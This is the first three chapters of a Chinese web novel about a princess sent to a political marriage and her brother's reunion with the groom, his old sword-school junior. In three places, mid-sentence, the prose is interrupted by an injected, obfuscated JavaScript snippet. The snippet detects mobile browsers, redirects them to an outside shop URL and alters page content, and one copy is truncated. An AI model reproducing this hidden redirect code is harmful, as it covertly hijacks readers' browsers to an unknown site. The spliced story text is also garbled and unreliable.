《繁花开落》 1. 送嫁千里遥 前路越来越曲折,黑压压的乌阴云笼罩着繁茂的树林,从远处的山麓向送亲队伍横扫过来。 队伍中间,一辆龙凤雕饰的檀木马车缓慢前行,车顶四角坠着红绸锦缎,车体前后的冠头和护栏上也被红绸包裹。 车轮在崎岖不平的路上滚过,发出吱吱嘎嘎的声音,声音通过车身传入车内,扰得车中的少女头痛不已。 少女躺在软榻上,身着一身金线绣的凤凰牡丹图案红锦衣,袖口和裙摆也绣有祥云纹饰。 连日的劳顿,使她疲惫不堪,蜡黄的面色与这身富贵华丽的衣裳极不相称。 身旁的侍女安如看着少女唇色发白,关切的问:“公主要不要饮些水?” 少女无力的摇摇头。 车窗外响起来敲击声。侍女云琴将车窗打开,凛风夹带着雨丝从灌入,锦缎帷幕随风飘动起来。 叶皓看着妹妹叶岚的样子,有些担忧。已经离开京城十多天了,一路舟车劳顿,她的状态越来越差,他有些心疼的说道:“再坚持一会,前面就到安阳驿了。咱们在那里休息两日再走。” “如此甚好。”叶岚有气无力,现在只想好好沐浴一番,再睡上一觉。她抬手示意云琴将窗户关上,凉意让她更加不适。 他们此行是为了送叶岚,梁国昭阳公主,出嫁。 目的地是函关,祁国迎亲队伍在函关对面的重峪关等待。 说话间豆大的雨点已落下,队伍惊慌起来,加快了脚步,奔向前面的安阳驿馆。 一到安阳驿,不及洗漱,叶岚便倒在床上沉沉睡去。 送亲将军源带人将车马辎重安顿好后回到屋檐下,抖了抖身上的雨水。叶皓递给他一杯热水,他双手接过。 雨从屋檐落下,如断了线的珠子,落在地上砸出一排小坑。 江源也有些担心叶岚,问道:“六公主可好些。” 叶皓摇摇头:“疲乏的很,以后的路还要走慢些。” “这一路真是辛苦公主了。其实,这一仗,没有祁国相助,咱们也能打赢。” 叶皓叹了口气:“能是能,但不知还要耗费多长时间,这半年来,边境处已是千里焦土、血流成河,不尽快结束兵爨,便是损兵折将、百姓难安。” 江源吹了吹杯口的热气,喝了一口水,继续说道:“祁国也是为了他们自己。白高人好战,觊觎中原久已。此番两国不论谁被攻下,另一国都会处境危险。祁国也是担心咱们兵败,白高人对他们形成半包之势。待日后强大,吞并他们易如反掌。” 这些不消说,天下人都看得清楚。出兵援祁这件事上,祁国算的精明:与其把战火引到自家领土,不如先借他人战场开战,如此以来,既对梁国施以援手,又能保全本国安危,一举两得。 江源又指出:“祁国在此时提出联姻,也是一招妙棋。祁国刚刚经历了两年旱灾一年蝗灾,已无再战之力。” 叶皓边听边伸手去接掉落的雨水,一片冰冷,他赞同的说道:“的确,自天下大乱,中原二分以来,已三十余年未战了,如此继续和平下去,祁国才有休养生息之机,如此看来祁国很有远谋。” 祁国人如此有谋算,江源不由得担忧叶岚以后的处境,他看向叶岚的住处,感叹道:“只是委屈六公主了。” 叶皓也随他的目光看去,一时心绪复杂。 雨渐渐停了,空气湿寒,他担心叶岚受凉,遣人为她的房间里添置炭盆。 此番与白高国一战,梁国得祁国相助才能如此快的取得胜利,祁国请联姻,梁国没有理由回绝。 此次联姻,人选有二:五公主叶朝雨和六公主叶岚。 叶朝雨的母亲荣贵妃颇得圣宠,得知消息后立即同意了周家尚公主的请求。 叶岚生母早亡,常年寄住在他三哥叶均家里,他父皇也是需要一位公主来巩固天下安定时,才想起来有这么个女儿。 梁帝下旨封六公主叶岚为昭阳公主,嫁于祁国崇宁王:三皇子冷逸尘。 叶岚接到圣旨的时候只觉脊背一凉,木木的领旨谢恩,她一贯不善辩驳,况且圣旨已下,一切由不得她。 叶皓虽为叶岚不平,但他久不在朝中,没有话语权,只能请旨送叶岚出嫁,护他妹妹最后一程。 叶岚休息至第二日下午方才渐好。越往北走天气越冷,离开了南方的温润,她感到更加不适。 叶皓本想再住一晚就启程,但听江源说明日安阳城有庙会,便决定再休整一日。 一是他看天气不好,恐会有雨雪至;二是叶岚一直闷闷,想带她逛逛庙会,疏解一下心情。 叶岚自然同意。 次日一早,叶皓命他的侍卫秦羽守住公主房门,任何人不得出入。 他让叶岚换了侍女的衣服、头戴帷帽,二人同江源一道从驿馆后门出去,骑马进入安阳城。 安阳城小,远不及梁京繁华,却更多了些乡野风趣。 入了城,他们牵马而行,一路上不时遇见些乞丐流民,他们衣衫破烂、面黄肌瘦,看着好生可怜。 不出半日,叶岚便掏尽了叶皓与江源的荷包,她又想摘下随身饰品给他们,但被叶皓制止了。 叶皓解释道:“这些都是宫中之物,若到了他们手里,恐会引来无妄之灾。” 叶岚只得作罢。 江源见周围人多,提议:“逛了这半日了,怕是公主累了,找家食店吃些东西吧。” 江源这一路提心吊胆,如此隐密之事,知道的人越少越好,便也没有安排护卫。 此时皇子、公主之安危全系于他一人之身,便一刻也不敢松懈,唯恐节外生枝。 叶岚走了半日的确有些累,于是听从了江源的建议。 叶皓选了个不大的店面,到楼上开了个雅间,点了些小食。落座后,他对叶岚说:“你这样,怕是再有两车银子也不够你分的。” 叶岚理直气壮的回答:“我是不忍看他们落难。” 叶皓无奈的看了她一眼:“不忍看他们落难,就忍心咱们落难?现在咱们身无分文,先想想怎么结这饭钱吧。” 这下,叶岚不知如何是好了。此前,在宫中自有供给,不由得她挑什么;在她三哥家,她想什么东西自会有人替她置办来,她甚至没有亲自付钱买过东西。 听了叶皓话,她不由担心起来。 江源笑着打消了叶岚的疑虑:“公主莫担心,殿下怀里还有金叶子。” 叶岚得知叶皓故意为难她,白了他一眼,但却放心下来。 叶皓看着窗外来往的行人,感慨道:“以前我也与你一样,想着能帮一个是一个,后来才发现根本帮不完。” 叶岚叹息:“能帮一个是一个吧。” 江源见叶岚依旧蹙眉,向她解释:“公主,那些人里不全然是乞丐难民,也有那懒惰成性之人混杂其中。又见咱们是外地人,以为有机可乘。” “这点倒是我一时没有想到。江将军……”这几个字让叶岚觉得甚是别扭,于是改口:“我还是称你江公子吧,叫“江将军”有些拗口。” 江源一笑:“公主随意。” 叶皓见他俩啰嗦,便想了个折中的注意:“什么将军,公子的。暖暖,你就随我一起称一声‘江兄’。” 江源立即回绝:“不可,不可。殿下、公主抬爱,但也不能失了分寸。” 叶皓轻嘲:“江兄,你怎也变得如此世故,想当年你我秉烛夜谈,何等畅快。” 江源谨慎的说道:“殿下,今时不同往昔……” 叶皓打断他:“你若再这样,不如我罢了你的官,看你还怎么如此这般。” 江源无奈,笑着摇摇头。人的地位不同,所见所触自然不同。 叶皓是高高在上皇子,说什么做什么,无人指摘;而江源是从军士一步步走来,言行举动皆有军纪军规约束。一言不慎、一步行错,可酿大祸。 江源知道叶皓此时无法感同身受,也不与他理论。 他转向叶岚,继续刚才的话题:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶皓应声:“是啊,我游历到后来,也渐感匪患丛生、民生日艰,便有了回来的念头,是江兄坚定了我的想法。暖暖,此前我也与你说过我回来的原因,江兄就是我说的那个朋友。” 江源摆摆手,示意过去之事,不提也罢。继而说道:“公主,如今外敌已退,梁祁和解,公主此去,可换来世间长长久久的安宁,也为边境居民、边防将士带来延祉。” “我……我没想过这些。”提到远嫁,叶岚觉得委屈的只有自己,她未想过此举会为别人带来什么。 叶岚离开梁宫,拜别梁帝时说过:“……父皇放心,女儿此去为天下太平、为山河无恙、为百姓安宁……祈盼父皇平安,祈盼我大梁繁荣昌盛……”也不过是套话,她从未真正理解其中的深意。 江源端起茶盏,以示钦佩:“舍己为天下,人生大义,不过如此,末将以茶代酒,敬公主。” 叶皓调侃道:“江兄,你可真是个儒将,酸涩的很。” 叶岚听了也笑了起来,不知不觉间,她的心情也放松起来。 略用了些饭食后,三人折返。 叶岚回到驿馆,便发现云琴眼睛浮肿,定是哭过了。 云琴是她三嫂夏萱的陪嫁侍女,她三嫂亦是她的表姐,自叶岚住到她家,夏萱边派了云琴随侍。 一番询问,方知秦羽再次向她表白,但是她拒绝了。 秦羽与云琴之情始于两年前,叶皓搬至叶均家之时,其间秦羽去过一次战场,归来后便患上了严重的郁证,痛苦难耐,几欲自裁,他不愿拖累云琴,未说明原因与之诀别,云琴被抛弃,深恨于他。 云琴想起前事,依旧恨的咬牙:“我恨他,既然已经走了,为什么要回头,他明知我不会离开公主,还来说这些做什么。” 她虽这样说,可泪水还是不争气的流了下来。 叶岚明白了,她心里还有秦羽,她从未真正放下过他,若是她没在送亲名单里,也许此事还有回旋的余地。 叶岚不想耽误了她二人,便说:“你心里是有他的,等到了祁国,我再想办法安排你回来,我这就去找秦羽说。” 云琴急忙跪着拦下叶岚,哭着说道:“奴婢不是这个意思,虽说是王妃遣奴婢随公主前来,但是也是奴婢自愿的。此番与他决断,与公主无关,与其他人也无关。”云琴说着已泣不成声:“我只是心里很痛……” 叶岚从未有过喜欢的人,不能体会这是一种怎样的撕心裂肺,也不知如何劝解,只得蹲下身下抱住云琴,任由她宣泄情绪。 忽而敲门声响起。 2. 故人喜相逢 门外响了安如的声音:“公主,信王殿下来了。” 安如是叶岚亡母的侍女,是伴着叶岚长大之人。 叶岚安顿好云琴,出门来。 叶皓提着两壶酒,对她说:“走,喝两杯。” 叶岚看到酒坛,两眼冒光,立即同意:“好啊!” 安如刚想规劝,却被叶皓打断:“姑姑,不要再拘束她了。” 安如不敢反驳,只得由他们去了。 叶皓脚踏树干,借力飞身上了屋顶。 叶岚看着他的残影,无奈叹了口,搬了梯子爬上去,她手脚并用,小心翼翼的挪向叶皓。 坐定后望了一眼地面,只觉目眩,立刻收回了目光,责备道:“在哪里喝不好,非要到屋顶上!” “登高望远,别有一番风趣。” 叶岚看着远处一片漆黑,体会不到有什么特别的风趣,她问道:“还有几日到函关?” 叶皓饮了一口酒:“五六日吧!怎么?着急了?” 叶岚叹了口气:“我急什么?我巴不得就这样一直走下去,永远也不到。” 叶皓自悔失言,递给了她一坛酒。 叶岚接过喝了一口,皱眉:“凉的?喝了会伤身的。” 叶皓却满不在意:“喝吧!哪有那么多讲究!” 叶岚看了看坛子,上面贴着“景芝”二字,又饮了一口,辛辣呛鼻,而后又回味余香。 叶岚回忆着二人在她三哥家一起喝酒的日子,有些伤感的说道:“再想和哥哥喝酒,不知道等到什么时候了……” “行走江湖之人,漂泊不定。说不定什么时候我就到祁国看你了!”叶皓顿了顿又自嘲:“我算什么江湖人呢?或许我该回长右山。” 叶皓不止一次跟她提及长右山,并要她保密,这次他说的是“回”而不是“去”,这让她觉得叶皓在那里一定有归属感,那里一定是个非比寻常的地方。 她感叹:“长右山一定是个很好的地方。” “比起这京都,那简直是至真至纯之地。”叶皓想想他这二十年人生,在长右山的那段日子是最好的时光。 “为何这样说?京都不好吗?我看你在京中你过的挺潇洒的。” 叶皓饮了一口:“山上有我最好的师傅和师弟,京都很好,好到让人迷失自己。” 叶岚与他碰了一下酒坛,摇摇头,表示不解。 叶皓凝视远方的一颗星,继续说道:“暖暖,你可曾想过,这个世界从来不是公平的,人生来便有了高低贵贱之分,这些是无法选择,而真正的众生平等,只有“活着”和“死亡”。现在大家都活着,可最终大家都会死去。”这是他这几年的经历和从师傅的教导中得出来的。 其中道理太深奥,叶岚听不明白,只说道:“就像我去和亲,也是无法选择的。” 叶皓未回答她,自顾自的说着:“这几日在路上,我反省了自己,在京中的这几个月过的真是荒唐,我自知心性不坚,易受外界干扰,又太感情用事,京都,不适合我。” 叶岚饮了口酒,惆怅的说道:“你想离开的地方却是我最想留下的地方。” 叶皓摇摆了摆手:“不,你要换个角度想想这件事,或许远嫁并不是一件坏事。” 叶岚有些意外,自圣旨下来后,所有人都劝慰她,替她鸣不平,替她摇头叹息。 到如今只有叶皓如此对她说,她反问:“怎么说?” 叶皓:“在京中,左不过嫁个世家子弟。我朝驸马不得入仕,虽富贵无忧,但要一生困守宅院,你能愿意?” 叶岚未语,哥哥的话的确说到了她的心坎上。 叶皓换了个坐姿,继续解释:“我还不知道你,平日里看着仪静体闲、温柔乖顺的,其实胸怀沟壑,主意大的很,我不信你就这样接受了。” 叶皓太了解她这个妹妹了,自小她就孤僻寡言,一部分原因是不受宠,一部分原因则是她的想法与人不同,与旁人说不来,得知联姻的消息后,她就这样安安静静的接受了,安静到这件事好似与她无关一样。 叶皓知道她心中有自己的想法,他甚至想过她会不会半路逃婚。 叶岚放下酒坛,捡起一片枯叶一点点捏碎,说道:“你太高看我了,我能有什么想法,难道我要哭一哭闹一闹,惹得父皇烦忧、朝堂非议?还不如乖乖接受,这样对大家都好,我也能落得个好名声!” 听了这话,叶皓的心中稍微轻松了一点:“你能这样想,很好!放心,你嫁过去自有一番新天地。” 叶岚不敢想以后的事情,只能走一步算一步。 听叶皓如此说,她反问:“你怎么这么笃定,难道到祁国了我会过的好?难道我要嫁之人就是可堪托付之人?” “肯定是!”叶皓果断的说,但随即他又觉得不妥,改了口风:“他……崇宁王是祁国皇后嫡子,平日定是大儒教导,就如二哥、三哥一般,怎能差的了。” 叶岚又开始忧愁:“有大儒教又怎样?二哥还不是……”她没有将“懦弱”两个字说出口,背后论人是非,乃小人也。 叶皓意味深长的笑了一下,未言其它,拿起酒坛摇了摇,确定没有了说道:“起风了,回去吧。“说罢纵身一跃,飞身一跳便下了屋顶。 “等等!我怎么办?”叶岚急的大呼,上来已经很费劲了。 叶皓甩了一句:“能上去便能下来。”然后进了屋去了。 叶岚恨牙痒痒:忘恩负义,白听你诉了半天苦。 她回想刚才这番谈话,简直是无缘无故,看似哥哥是在劝慰她,实则是哥哥突生惆怅,好似要嫁之人是他一般。 叶岚颤颤巍巍的挪到房顶边缘,待下了梯子,双腿已经打颤,蹲了好久才缓过来,恨恨的想:以后再也不爬高了。 第三日,天空放晴,行程继续,五日后,抵达函关。 队伍入住行宫,函关郡守刘冀料理行宫事宜,驻关守将韩振布兵防守。 迎亲的先遣使早已等候在此,使者回禀:迎亲队伍已在重峪关等候,不出半日便可到达这里,从重峪关到祁都只需三日行程。 江源告知使者:旅途劳顿,公主要在此休整一日,后日迎亲队伍再来,一切交接手续等后日一起办理。 使者返回,如实覆命。 次日清晨,侍卫来报:“殿下,行宫外有人求见。” 叶皓:“何人?” 侍卫:“来人只说是故人。” “故人?”叶皓重复着这个词,他在函关似乎没有什么故人。“让他进来吧。” 那人被搜身后进殿,并不叩拜,只对叶皓揖礼,叶皓觉得好生眼熟,却想不起在哪里见过。 屏退了左右,那人这才开口:“长右山一别数年,殿下可还记得泽生?” 叶皓不由欣喜,泽生来了,他必然也来了。 泽生,叶皓当然记得,祁国崇宁王冷逸尘的侍卫。 冷逸尘,那个即将成为他妹夫的人,他的同门师弟。 记忆的潮水涌来。 当年他行走天下,曾与秦羽到长右山学剑,长右山推崇万物齐一、众生平等,入门皆是兄弟,碍于主仆身份,秦羽便只做了外门弟子,叶皓拜于剑师荀秀峰门下。 荀秀峰,长右剑宗掌门荀正阳亲弟。 三个月后冷逸尘亦来拜师荀秀峰,与他同来的就是泽生,但泽生很快就下山去了,叶皓与他只有一面之缘。 冷逸尘与叶皓二人被分至一处,此后同食同宿,朝夕相处,情分比旁人深厚许多,一年后,叶皓下山,临走时双方互道了身份,由于师规与时局,他们约定:二人之交不告知世人。 叶皓迫不及待的问:“他在哪里?” “我家殿下在函关外等候。” 叶皓意会,叫上秦羽同泽生一起,飞马出城而去。 马蹄疾驰,穿过树林,来到一空旷地,此时天光已亮,只见一人身着鸦青色大氅,牵马向阳而立。 冷逸尘闻声转身,快步上前,与叶皓相视一笑:“师兄,久违了。” 他二人将马交于秦羽、泽生,负手漫行,秦羽、泽生则不远不近的跟着。 叶皓问:“这样早就到这里了?” 冷逸尘:“得知你送亲只到函关,恐不能与你一见。” 叶皓:“先遣使并没有说你亲自来迎亲。” 冷逸尘:“我不是从函关来的。由此向西一百里,是千阳县,我连夜从那里过来,随后我会直接回京。” 叶皓打量了冷逸尘一眼,没想到他竟是赶了一夜的路,打趣道:“还记得在长右山时,你我二人喝酒、比剑,无所顾忌,如今却如做贼,一般莫不是想提前见见新娘子?” 冷逸尘急忙解释道:“我受父皇之命外出公干,特地急着绕路见你一面,师兄还来打趣我。” 叶皓叹了口气:“唉!大婚在即,你父皇当真是不知体恤。” 冷逸尘:“也不是什么大事,是我自请的。” 叶皓这才明白,冷逸尘为了见他一面,竟早早筹谋了,他继续说道:“自下山后,我与同门少有来往。上次大战得知你受伤,本想写信给你,却无可靠之人传递。” 冷逸尘回答:“师傅的弟子本就少,说来惭愧,你走之后,我在长右山待了两年,后也下山了。只怪我从未经历沙场,刚入战场便负伤了,也未参加后来的大战。” 叶皓忙问:“伤势可严重?” 冷逸尘摇摇头:“无碍,已经痊愈了。” 叶皓:“师傅他还好吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073846|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山上一切都好吗?” 冷逸尘表情凝重:“师傅……已于半年前病逝了,师兄不知道吗?” 叶皓楞住了,半年前正是战事吃紧的时候,他摇摇头:“我……并不知道。” 继而转向长右山方向行了一礼,对着天地缓缓说:“师傅,待我回京覆命后,再去向师傅请罪。” “当年师傅对你说了什么?让你决绝的下山去了,是不是与师姐有关系?”对于叶皓离开山门一事,冷逸尘一直颇为疑惑。 他说的师姐便是荀秀峰的独女,荀婉婉,师从荀正阳。 叶皓出身皇室,气度非凡,其他弟子远不能及,荀婉婉正直天真漫烂年岁,对叶皓颇有好感。 时间久了,二人有些莫名的情愫,只是未言明,但一切尽在荀秀峰的眼里。 “师傅只说我志不在此,应去世间多多磨砺,言语间,我能感受到师傅已经猜出了我身份,但未说破。师傅本就不愿与朝堂有牵扯,不想长右山卷入是非纷争之中,所以让我下山去。”叶皓顿了顿,又问:“为何你没被师傅看破?” 冷逸尘无奈一笑:“我是一心一意去练剑,哪像你,违背师规的事都做尽了,还拉上我,害得我没少被师傅责骂。” 冷逸尘自幼羡慕江湖侠客。便向祁帝请求出门游学,其实早已下定决心去长右山。 他化名凌长风,直奔长右山,在长右山他隐去了皇子身份,不带护卫,虔诚恭敬,最终成了荀秀峰座下弟子。 长右山剑术闻名天下,外门弟子众多,可真正能入师门的寥寥无几,当年,叶皓虽是匿了皇子身份,却不如他这般谦虚,荀秀峰是看中他天赋颇佳才收了他。 叶皓忍不住向冷逸尘打探:“你师姐……可还好?”这些年来,叶皓想着也许不再见师妹,不去想长右山,就会慢慢忘记。 可是,他又怎能忘记。 冷逸尘如实回答:“一切都还是老样子,你走后师伯便让师姐闭关修行,此后师姐再也没提起过你。” 叶皓沉默良久,他与她终究是两个世界的人,不可能在一起。 冷逸尘接着说道:“有时候想想,若一直留在长右山也不错,少年时期真是天真,诸多想法,现在想来只觉的可笑。还记得你我二人偷了师傅的酒,在月下同饮,相约日后仗剑天涯、快意恩仇吗?” “当然记得,我又何尝不是这样想呢?那时的你我未曾经历过生死,怎知世事艰难、江湖险恶。你我皆长在这世间安定之时,又上有父兄,无需担忧家国事。十六七岁的年纪,谁还没有自己的希冀呢。”说着,叶皓拔出剑来:“师弟,咱们曾约定再见时必要再比试一场,来吧。” 冷逸尘嘴角上扬:“正有此意。” 泽生离得远,不明二人为何拔剑,便想提剑前去。 秦羽拦下他,解释道:“长右山师规:不可剑指同门。” 泽生这才放心下来。 一场比试下来,冷逸尘占得上风。而后只听他呼道:“泽生,拿酒来。” 两人共饮一囊酒,好不快意。 叶皓意犹未尽:“师弟,长右山多是高山,还从未有机会与你一起骑过马,今日便让我们潇洒恣意一回。” 于是二人唤秦羽、泽生牵马来,纷纷撩衣跃上马背,飞走下坡,复又驰骋而上,驻马于坡涯之上,望着天地苍凉。 此处向东望去,南面是涵关城,西面是丘陵密林,北方天气干冷,即便是松柏这样的常绿植物,也是暗沉的颜色。 今日阳光不佳,大地一片灰茫茫。 叶皓望着天地之苍茫感慨道:“若天下无战,百姓安居,该有多好。” 冷逸尘亦是感慨:“兄之愿亦是弟之愿,而今所做的的一切皆是为了此愿。” 分别终有时,叶皓拍了拍冷逸尘的肩膀,正色道:“此后,我妹妹叶岚就托付给师弟了,她年幼丧母,跟着我三嫂长大,是我三哥亲自教导,非一般女子可及,她虽性情柔弱,可心中却很是倔强坚强。以前她连京都都未曾出过,如今千里而来,又是为两国安宁,你不可委屈了她,你要保她平安。” 冷逸尘亦正色回答:“师兄放心,我定善待令妹,不负师兄所托。” 叶皓走近一步,小声说道:“你我二人之事,我没有告诉她,以后你们二人相处,此事让不让她知道你来定吧。” 冷逸尘回答:“师规不敢违。” 说罢二人告辞,冷逸尘与泽生扬鞭而去,良久后回头,那一袭白衣,依旧驻马而立。 叶皓看着马蹄扬起的尘土渐渐消散,心中有些担忧:他这师弟性格深沉,平日少言寡语,因与他相熟,又因故人重逢之欢,才会有这么多交谈。 他与叶岚,一个内敛、一个清冷,不知日后要如何相处? 3. 此去无归期 晚间,叶皓在院中碰到了去给叶岚送婚服的侍女,便接过了婚服亲自给她送去。 经一日休整,叶岚已缓解了疲惫。她洗去连日的风沙,换上新衣,整个人看起来精神了许多,但是眼中多了惆怅与不安。 叶皓将盖着婚服的红绸缎掀开:“试试这婚服吧。” 叶岚抚着嫁衣上的凤穿牡丹纹饰,冰冰凉凉、没有温度。她轻声说道:“明日再穿吧。” 今日她还是梁国公主、叶氏女儿。 叶皓不忍看她惆怅,内心挣扎,最后还是说道:“暖暖,你此去不必担忧。我与崇宁王曾有过交集,他并非传闻那般生性凉薄,是重情重义之人。” 叶皓此前一直犹豫该不该和叶岚说,毕竟多年见未见冷逸尘,不知此时他境况如何、又会变成怎样的人。 今日见到冷逸尘的那一刻,他悬着的心便放下了。他依旧念着长右山的旧情,依旧是长右山他的好师弟。 叶皓宽慰着叶岚,自己却渐渐凝起眉头,他的担忧却未说出口:以后两国若交战,叶岚又该如何自处? 他与冷逸尘的事,未以实情告知叶岚,一是因为他师规,二是便是因为时局。世事难料,这世道远比想象中的复杂,有些事情不便公之于世。 他二人分别为两国皇子,两国一旦不睦,便会多受猜忌。他们两个现在能做的就是尽量去维护两国和睦。 叶岚却淡淡的说道:“哥哥,事已至此,前路是是明是暗,我都得走下去。”她心中明白,此事天定,无人能改变了,再多的担忧也是枉费。 今夜是叶岚在故国最后一夜。 对未知的恐惧开始冲破理智的束缚,化为一根藤蔓将她缠绕起来。她惶惶不安,惴惴难眠。 她索性屏退所有侍女,将自己置身黑暗之中,这些恐惧,若不让它们发散出来,它们就会一直蠢蠢欲动,今夜她要拿起剑锋,将它们彻底斩杀。 清晨,叶岚精疲力竭,曦光让恐惧的遗骸消失殆尽,她起身提笔: “此去赴绝国,此生无归期。” 她长闭眼长叹,一滴清泪落下,随后她又将文稿丢进了火盆之中,纸张很快就被火焰吞噬,化作一团光亮。 即便前方无路也要走下去。叶岚鼓起勇气打开房门,命人进来为她梳妆更衣。 浓厚的脂粉遮住她憔悴的面庞。她目光暗淡,使华美的婚服都失去了光彩。 迎亲队伍已到城门外,昭阳公主要出发了,行宫门外,凤架早已备好,长街两旁站满了人。 叶岚站在行宫门口,州牧刘冀上前施礼:“涵关州牧刘冀率城中百姓送昭华公主出嫁,祝公主此后平安顺遂。” 此前,叶岚再怎么想的开,心中也难免有怨怼。曾怨过,为何是她?曾恨过,只能是她!亦曾认命过,大不了以死谢天下。 而如今,她望着满城的百姓,她只觉羞愧,她何德何能,受百姓如此敬待,她低语:“本宫受之有愧。” 刘冀言辞动容:“公主当之无愧。边关百姓受战乱之苦久矣,公主此去为家国安宁、为天下无战,此大恩,我函关百姓永世不忘。” 江源上前施礼:“吉时已到,请公主移驾。” 叶岚见百姓一片赤诚之心,便不忍心再去坐那凤架。对江源说:“牵匹马来。” 江源面色凝重,迟疑道:“公主,这不合规矩。” 叶岚态度坚定:“今日本宫就是规矩,牵马来!” 一匹白马牵来,她翻身上马,摘下面纱,对着人群高声说到:“大梁昭阳公主叶岚,谢国人相送。”说罢便要策马前行。 叶皓上前抓住缰绳,看着叶岚说:“我为你牵马。” “四哥……”眼泪一瞬而落,她急忙拭去,强忍酸楚。 今日今时,她以真身现世间、以真容面众生,此刻,她就是万民敬仰的神,而神,不该流泪。 叶皓走的很慢,让这一段路变得很长很长,所到之处,两边百姓皆跪地高呼:恭送公主出嫁,愿公主平安顺遂…… 路终有尽头,到了城门口内,叶岚下马,对大家低头行一礼,道:“本宫多谢诸位相送,就此别过。” 城门大开,只见数万将士雄列于道路两侧,守城将韩振在城门外侍立,见叶岚跪拜道:“涵关守城将韩振率函关众将士送昭阳公主出嫁。” 城中的百姓,城外的将士,无一不让她动容,此刻她终于理解了和亲这件事的重大意义,也明白了作为公主的责任。 之前,是她眼界窄了,格局小了。 此时,她释怀了,为了苍生,一切是值得的。 叶岚再次上马,这次缰绳改由韩振牵着,缓缓走向祁国的车架。 叶岚挺直脊梁,抬起头颅,目视前方,所过之处,众将士皆跪拜山呼:“函关众将士送公主出嫁。” 叶岚一袭红衣,在由数万将士组成的黑色浪潮里尤为显眼,像一朵盛放的玫瑰,铿锵有力。 在叶岚上祁国车驾前,韩振说道:“末将率五百精锐护送公主至重峪关。公主且放心去,您身后便是大梁百万雄兵,不必畏惧。” 此时,叶岚已满眼热泪,点头致谢,覆了面纱,登车而去。 叶皓与江源登上城楼,看着远去的队伍,江源心里默念:公主,可还有机会再相见? 叶皓昨日送别了冷逸尘,今日送别了叶岚,心中无不伤感。 迎亲的队伍没有在重峪关停留,直接向祁国京都驶去。 由于来时路上耽搁了些时日,队伍一刻也不敢慢行。 这次没有人再关心叶岚的身体状况,只有云琴和安如一遍遍告诉使者和车夫:慢一些、稳一些。他们虽然口头答应了,可丝毫不见行动。 道路颠簸,叶岚身疲,几乎水米不进,也无法安眠,一闭眼全是噩梦。 梦中,她看见母亲坐在屏风前微笑,抬手招呼她过去,可就在她触到她母亲的那一瞬,她母亲又变成了一幅画。 画的颜色又迅速陈旧下去,慢慢龟裂,化为千万个碎片,一点点消失在了漫天大雾中,她一人于迷雾中,找不到方向,看不到光亮。 这是母亲亡故后,她第一次梦见她,或许是知道了女儿出嫁,特地前来送行。 她辗转反侧,每做一个梦就翻一次身,她梦见了很多人很多事,梦里充满了焦虑、恐惧、不安。 安如和云琴一次次为她抚平身下的被褥,擦掉额头上的冷汗,她只能在队伍休息补给时,枕着安如的腿稍稍睡沉一点。 一路折磨,生不如死。 终于在第三日午前,队伍开进了祁都——安定城。 到了公主府门口,车架停稳,护卫人员皆退下,只剩中官及侍女,方允许下车。 叶岚起身,只觉头脑沉沉、直往下坠;脚下虚无,如腾云一般。虽然脚踏上了坚实的土地,可这大地似乎也如马车般摇晃。 终于,叶岚的头枕上了枕头,开始了昏睡。 公主府里早已安排妥当,金银珠玉、锦绣文绮,装饰的华丽无比。中官侍女们知队伍今日抵达,便一早洒扫庭院,静候公主。 她们都很翘首以盼,想看看这梁国公主到底生得什么模样,是否与自家殿下相匹配。 万万没想到,车架停了,从里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073847|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面走出来一个面容憔悴、病弱不堪的公主。 此时公主府内主事的嬷嬷,是祁国皇后身边的教习:曹氏。 曹嬷嬷迅速调整安排:铺被褥、烧热水、做羹汤、请医官。 众人忙碌起来,看似杂乱,实则各司其职,有条不紊。 医官诊脉后,只说是劳力、劳神过度,喝几幅药调养一下即可。 一众人才放下心来。此时饭食、汤浴已安排好,曹嬷嬷一边着人配药熬药,一边安排同来之人安歇。 安如、云琴确定叶岚已无大碍,一路劳顿,也着实让她们疲惫不堪,便听了曹嬷嬷的安排。 叶岚仿佛几年未睡过觉一般,当她因帘外的说话声而转醒时,已到了日昳时分。 她看了四周,安如和云琴皆不在,旁边站着两名陌生的侍女,叶岚有些不安。 叶岚艰难的坐起身来,只觉全身的骨头似散架了一般疼痛。 透过屏风的缝隙,隐约看见珠帘外站立两人:一个身姿修长的男子及一个上身微躬的女子。 只听那女子说:“殿下放心,公主已无碍。” 侍女见叶岚醒了,便立即出去通知那女子。那女子向男子行了告退礼,掀帘进来。 她对叶岚行了一礼:“公主万安,奴婢是皇后娘娘宫中的教习曹嬷嬷,暂时主持公主府事务。” “安如和云琴呢?”叶岚喉咙干渴,嗓音沙哑。 “回禀公主,连日劳顿,奴婢已安排她二人去休息了。”曹嬷嬷边说边说边双手奉上一杯茶,“外面是崇宁王殿下。祁国礼节,男女成婚前不宜见面,殿下他不便进来。” 曹嬷嬷虽然语气柔和,但却有着一番不容反驳的气势,这让叶岚感到很是不快。 她喝了口茶,是菊花蜜糖水。清甜入口,嗓子好了许多。 曹嬷嬷隔着帘子对外面说道:“殿下,公主已经醒了。” 帘外之人未转身,只听得清澈的声音传来:“公主一路劳顿,且请安歇。本王就不打扰了,告辞。” 